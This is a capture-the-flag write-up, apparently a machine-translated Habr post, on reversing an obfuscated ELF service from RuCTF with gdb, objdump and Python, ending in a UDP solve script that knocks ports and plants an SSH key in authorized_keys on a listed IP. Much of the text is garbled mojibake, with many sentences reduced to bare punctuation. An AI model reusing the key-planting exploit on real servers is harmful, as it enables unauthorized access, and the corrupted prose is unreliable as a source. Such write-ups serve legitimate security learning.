  • рдУрдкрдХреЛрдб 2 - рд╕реНрдЯреИрдХ рдХреЗ рд╢реАрд░реНрд╖ рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдореВрд▓реНрдп рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рдпрд╣ рдСрдкрд░реЗрд╢рди рдХрд┐рд╕реА рдкреНрд░рдХрд╛рд░ рдХреА рд╡рд╕реНрддреБ рдХреЗ рдореВрд▓реНрдп рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рд╕рд░рдгреА рдХрд╛ i-th рддрддреНрд╡ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг opcode 2


  • рдУрдкрдХреЛрдб 13 - рд╕реВрдЪрдХрд╛рдВрдХ рджреНрд╡рд╛рд░рд╛ рдПрдХ рд╕рд░рдгреА рд╕реЗ рдПрдХ рддрддреНрд╡ рд▓реЗрдирд╛ред рд╕рд░рдгреА рдФрд░ рддрддреНрд╡ рдЗрдВрдбреЗрдХреНрд╕ рдХреЛ рд╕реНрдЯреИрдХ рд╕реЗ рдкреЙрдк рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдкрд░рд┐рдгрд╛рдо рд╕реНрдЯреИрдХ рдкрд░ рдзрдХреЗрд▓ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рддрджрдиреБрд╕рд╛рд░, рдПрдХ рдХрд╛рд░реНрдп рдХрд╛рд░реНрдпрдХреНрд░рдо рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╕реВрдЪрдХрд╛рдВрдХ рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рд░рдЦрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред
  • рдУрдкрдХреЛрдб 7 - рд╕реНрдЯреИрдХ рдкрд░ рдСрдкрд░реЗрд╢рди рддрд░реНрдХ рдХреЛ рдзрдХреНрдХрд╛ рджреЗрддрд╛ рд╣реИред

рдирддреАрдЬрддрди, рдХрд╛рд░реНрдпрдХреНрд░рдо рдореЗрдВ рдХреЗрд╡рд▓ 4 рдСрдкрд░реЗрд╢рди рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:




рдЕрдВрддрд┐рдо рдХрд╛рд░реНрдпрдХреНрд░рдо


Searched line: рдЭрдВрдбрд╛ {76f98c7f11582d73303a4122fd04e48cba5495}



Day7ред Hiddenresource


рдпрд╣ рдХрд╛рд░реНрдп RuCTF рджреНрд╡рд╛рд░рд╛ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

N24.elf рд╕реЗрд╡рд╛ рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдПред рдмрд╕ 95.216.185.52 рдкрд░ рдЕрдзрд┐рдХреГрдд рдХрд░реЗрдВ рдФрд░ рдЖрдкрдХреЛ рдзреНрд╡рдЬ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред

рд╕рдВрдХреЗрдд
10/28/2018 20:00
рдЯрд╛рд╕реНрдХ рд╣рд▓ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред 24 рдШрдВрдЯреЗ рдЬреЛрдбрд╝реЗ рдЧрдПред

рдорд╛рдирдХ рдХрдиреЗрдХреНрд╢рди рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХреНрд╕реЗрд╕ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡рд░ рдХрд╛ рд╕рд░реНрд╡реЗрдХреНрд╖рдг рдПрд╕рдПрд╕рдПрдЪ (рдкреЛрд░реНрдЯ 22) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдВрдЪ рджрд┐рдЦрд╛рдпрд╛ред рдЙрдкрд▓рдмреНрдз рдХрд░рд╛рдИ рдЧрдИ рдлрд╝рд╛рдЗрд▓ рд▓рд┐рдирдХреНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдПрд▓рдПрд▓рдПрдл рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рд╣реИ (рдЬреЛ рдХрд┐ рдирд╛рдо рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛)ред

 #file UwRJ8iaEEd4tSQIe_n24.elf UwRJ8iaEEd4tSQIe_n24.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped 

рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдпреВрдЯрд┐рд▓рд┐рдЯреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП "/home/task/.ssh" рдФрд░ "/home/task/.ssh/authorized_keys" рд▓рд╛рдЗрдиреЛрдВ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рджрд┐рдЦрд╛рдИ рджреАред рдИрдПрд▓рдПрдл рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ (рдмрд╛рдж рдореЗрдВ рд╕реЗрд╡рд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд) рд╕реЗ рдПрд╕рдПрд╕рдПрдЪ рдкрд╛рд╕рд╡рд░реНрдб рд░рд╣рд┐рдд рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреБрдВрдЬреА рдлрд╝рд╛рдЗрд▓ рддрдХ рдкрд╣реБрдВрдЪ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд┐рд╖реНрдХрд░реНрд╖ред

рдкреНрд░рддреАрдХ рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЦреЛрд▓рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдХрд╛рд░реНрдп рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:

 # readelf --dyn-syms UwRJ8iaEEd4tSQIe_n24.elf | grep fopen 23: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fopen@GLIBC_2.2.5 (2) # readelf --dyn-syms UwRJ8iaEEd4tSQIe_n24.elf | grep write 32: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fwrite@GLIBC_2.2.5 (2) 

рдкреНрд░рддреАрдХ рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рд╕реЙрдХреЗрдЯреНрд╕ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ, рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдВ рдмрдирд╛рдиреЗ рдФрд░ рдПрдордбреА 5 рдХреА рдЧрд┐рдирддреА рдХреЗ рд▓рд┐рдП рдХрд╛рд░реНрдп рд╢рд╛рдорд┐рд▓ рд╣реИрдВред

рдлрд╝рд╛рдЗрд▓ рдХреЗ рд░рд┐рд╡рд░реНрд╕ рдореЗрдВ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдЬрдВрдк (рдХрд┐рд╕реА рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЖрдХреНрд╖реЗрдк) рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рджрд┐рдЦрд╛рдИ рджреАред рдЗрд╕реА рд╕рдордп, рдХреЛрдб рдХреЗ рдмреНрд▓реЙрдХ рдХреЗ рдмреАрдЪ рдЫрд▓рд╛рдВрдЧ рд▓рдЧрд╛рдИ рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░ рдХрдИ рдкреНрд░рдХрд╛рд░реЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

  • ┬л OF ┬╗, ( objdump):

      95b69b: 48 0f 44 c7 cmove rax,rdi 95b69f: 48 83 e7 01 and rdi,0x1 95b6a3: 4d 31 dc xor r12,r11 95b6a6: 71 05 jno 95b6ad <MD5_Final@@Base+0x2d83f9> 95b6a8: e9 f4 bf e1 ff jmp 7776a1 <MD5_Final@@Base+0xf43ed> 95b6ad: e9 1f 1a de ff jmp 73d0d1 <MD5_Final@@Base+0xb9e1d> 

    , OF ┬лxor┬╗, ┬лand┬╗ .
  • , . . , :

     95b401: c7 04 25 2b b4 95 00 mov DWORD PTR ds:0x95b42b,0x34be74 95b408: 74 be 34 00 95b40c: 66 c7 04 25 01 b4 95 mov WORD PTR ds:0x95b401,0x13eb 95b413: 00 eb 13 95b416: 4c 0f 44 da cmove r11,rdx 95b41a: 48 d1 ea shr rdx,1 95b41d: 48 0f 44 ca cmove rcx,rdx 95b421: 49 89 d3 mov r11,rdx 95b424: 48 89 ca mov rdx,rcx 95b427: 4c 89 da mov rdx,r11 95b42a: e9 8d ad e7 00 jmp 17d61bc 
  • , .

MD5. , . ┬л MD5_Init ┬╗, ┬л MD5_Update ┬╗ ┬л MD5_final ┬╗.

, API . , , , , . .

ELF . ┬л/home/task/.ssh/┬╗ .

. , , , . . Netstat 5432 (UDP).

 # netstat -ulnp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name udp 0 0 0.0.0.0:5432 0.0.0.0:* 13611/./UwRJ8iaEEd4 

(4 ) :
 #echo "test" > /dev/udp/127.0.0.1/5432 # Verifying 74657374 009ec3b8 

.
тАУ gdb. , , recvfrom backtrace. 0x6ae010.

 6ae00b: e8 d0 2b d5 ff call 400be0 <recvfrom@plt> 6ae010: e9 64 bc ea ff jmp 559c79 <MD5_Update@@Base+0x953fc> 559c79: 89 45 80 mov DWORD PTR [rbp-0x80],eax 559c7c: 83 f8 ff cmp eax,0xffffffff #   ,  -1 559c7f: 0f 84 62 7f 1c 00 je 721be7 <MD5_Final@@Base+0x9e933> 559c85: e9 8a d6 2c 00 jmp 827314 <MD5_Final@@Base+0x1a4060> 827314: 48 c7 c7 30 d1 f0 00 mov rdi,0xf0d130 82731b: 48 29 27 sub QWORD PTR [rdi],rsp 82731e: 48 89 df mov rdi,rbx 827321: e8 5f 94 fe ff call 810785 <MD5_Final@@Base+0x18d4d1> 827326: e9 d7 a5 2d 00 jmp b01902 <MD5_Init@@Base+0x7569> b01902: 85 c0 test eax,eax b01904: 0f 84 dd 02 c2 ff je 721be7 <MD5_Final@@Base+0x9e933> b0190a: e9 7c a9 bb ff jmp 6bc28b <MD5_Final@@Base+0x38fd7> 


0x810758 .
break 0xb01902, .

( rax)
(gdb) b *0xb01902
Breakpoint 2 at 0xb01902
(gdb) c
Continuing.
Verifying 74657374
00f82488

Breakpoint 2, 0x0000000000b01902 in MD5_Init ()
(gdb) info reg rax
rax 0x0 0

0 . , , 0.

gdb, MD5_Update ( ┬лtest┬╗).

рдкрд░рд┐рдгрд╛рдо
 (gdb) b MD5_Update Breakpoint 3 at 0x4c487d (2 locations) (gdb) c Continuing. Verifying 74657374 Breakpoint 3, 0x00000000004c487d in MD5_Update () (gdb) info reg rsi rsi 0x7fffffffdd90 140737488346512 (gdb) x/20bx $rsi 0x7fffffffdd90: 0x74 0x65 0x73 0x74 0x0a 0xff 0x7f 0x00 0x7fffffffdd98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffdda0: 0x00 0x00 0x00 0x00 (gdb) info reg $rdx rdx 0x200 512 


рдкрд░рд┐рдгрд╛рдо


MD5 , 512 . , , MD5 512 . 8 , 8 , . , - . 4 3 MD5- .

0x810758 0. RAX. 2 0x810758 0x827326.

, 0x810758. gdb :

 import gdb with open("flow.log", "w") as fw: while 1: s = gdb.execute("info reg rip", to_string=True) s = s[s.find("0x"):] gdb.execute("ni", to_string=True) address = s.split("\t")[0].strip() fw.write(address + "\r\n") address = int(address, 16) if address == 0x827326: break 

flow.log . , , .
┬л disasm.log ┬╗ objdmp ┬л : ┬╗ .

 F_NAME = "disasm.log" F_FLOW = "flow.log" def prepare_code_flow(f_path): with open(f_path, "rb") as fr: data = fr.readlines() data = filter(lambda x: x, data) start_address = long(data[0].split(":")[0], 16) end_address = long(data[-1].split(":")[0], 16) res = [""] * (end_address - start_address + 1) for _d in data: _d = _d.split(":") res[long(_d[0].strip(), 16) - start_address] = "".join(_d[1:]).strip() return start_address, res def parse_instruction(code): mnem = code[:7].strip() ops = code[7:].split(",") return [mnem] + ops def process_instruction(code): parse_data = parse_instruction(code) if parse_data[1] in ["rax", "eax", "al"]: return True return False if __name__ == '__main__': # Prepare disassemble data start_address, codes = prepare_code_flow(F_NAME) with open(F_FLOW, "rb") as fr: lines = fr.readlines() lines.reverse() lines = filter(lambda x: x, lines) count = 0 for _l in lines: offset = long(_l.strip(), 16) - start_address if process_instruction(codes[offset]): print str(count) + " " + hex(offset + start_address) + " " + codes[offset] break count += 1 continue 



┬л┬╗ , RAX. рдкрд░рд┐рдгрд╛рдо:
0x67c27c mov DWORD PTR [rbp-0x14], 0x0
. - ( ┬л flow.log ┬╗):

 95b6ad: jmp 73d0d1 <MD5_Final@@Base+0xb9e1d> 95b6b2: cmp DWORD PTR [rbp-0x2d4],0x133337 95b6bc: jne 67c270 <MD5_Update@@Base+0x1b79f3> 

0x95b6b2 тАУ 0x133337. , , [rbp-0x2d4]. ┬лtesttest┬╗:

 # echo -n "testtest" > md5.bin # truncate -s 512 md5.bin # md5sum md5.bin e9b9de230bdc85f3e929b0d2495d0323 md5.bin # echo -n "testtest" > /dev/udp/127.0.0.1/5432 (gdb) b *0x95b6b2 Breakpoint 6 at 0x95b6b2 (gdb) c Continuing. Verifying 74657374 00deb9e9 Breakpoint 6, 0x000000000095b6b2 in MD5_Final () (gdb) x/20bx $rbp-0x2d4 0x7fffffffdd7c: 0xe9 0xb9 0xde 0x00 0xe9 0xb9 0xde 0x23 0x7fffffffdd84: 0x0b 0xdc 0x85 0xf3 0xe9 0x29 0xb0 0xd2 0x7fffffffdd8c: 0x49 0x5d 0x03 0x23 

3 MD5-. MD5- 3 ┬л\x37\x33\x13┬╗.

MD5 . . :

 New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...3 14235 0 

Netstat , . ps (). , .

5432, 14235. . . , , MD5 . , . MD5, 14235. , MD5. , .

рдкрд░рд┐рдгрд╛рдо
 Binding 22 Waiting for data...Verifying 1BFFFFFFD1FFFFFF8B50 00133337 New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...Received packet from 127.0.0.1:43614 Data: 3 14235 27 Next port 23038 Binding 23038 Waiting for data...4 


. , тАж
, (31841) . gdb , ┬л/home/task/.ssh/authorized_keys┬╗.

, . , ( , ).

RSA .

SSH, .

MD5-. , ( ). , 4 ( MD5) int , ( ).

, RSA, .
 import socket import time import SocketServer import select d = ['\x1b\xd1\x8bP\x00\x00\x00\x00', '\x16\xbc\xf9 \x00\x00\x00\x00', '"\xa5I\x90\x00\x00\x00\x00\x00\x00'] s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) print "Send 1" s.sendto(d[0], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 2" s.sendto(d[1], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 3" s.sendto(d[2], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 4" s.sendto("\x00", ("95.216.185.52", 41357)) time.sleep(0.2) print "Send 5" s.sendto("\x04", ("95.216.185.52", 42381)) # for i in range(256): time.sleep(0.2) print "Send 6" s.sendto("\x02", ("95.216.185.52", 28709)) # Read key with open("ssh_key.txt", "rb") as fr: data = fr.read() print len(data) print "Send 7" s.sendto(data, ("95.216.185.52", 28709)) print s.recvfrom(1500) s.close() 


: flag{a1ec3c43cae4250faa302c412c7cc524}

┬лOK┬╗ .

, , MD5-. , , .

, , 40 , . рдЖрдкрдХрд╛ рдзрдиреНрдпрд╡рд╛рдж

Source: https://habr.com/ru/post/hi440312/


All Articles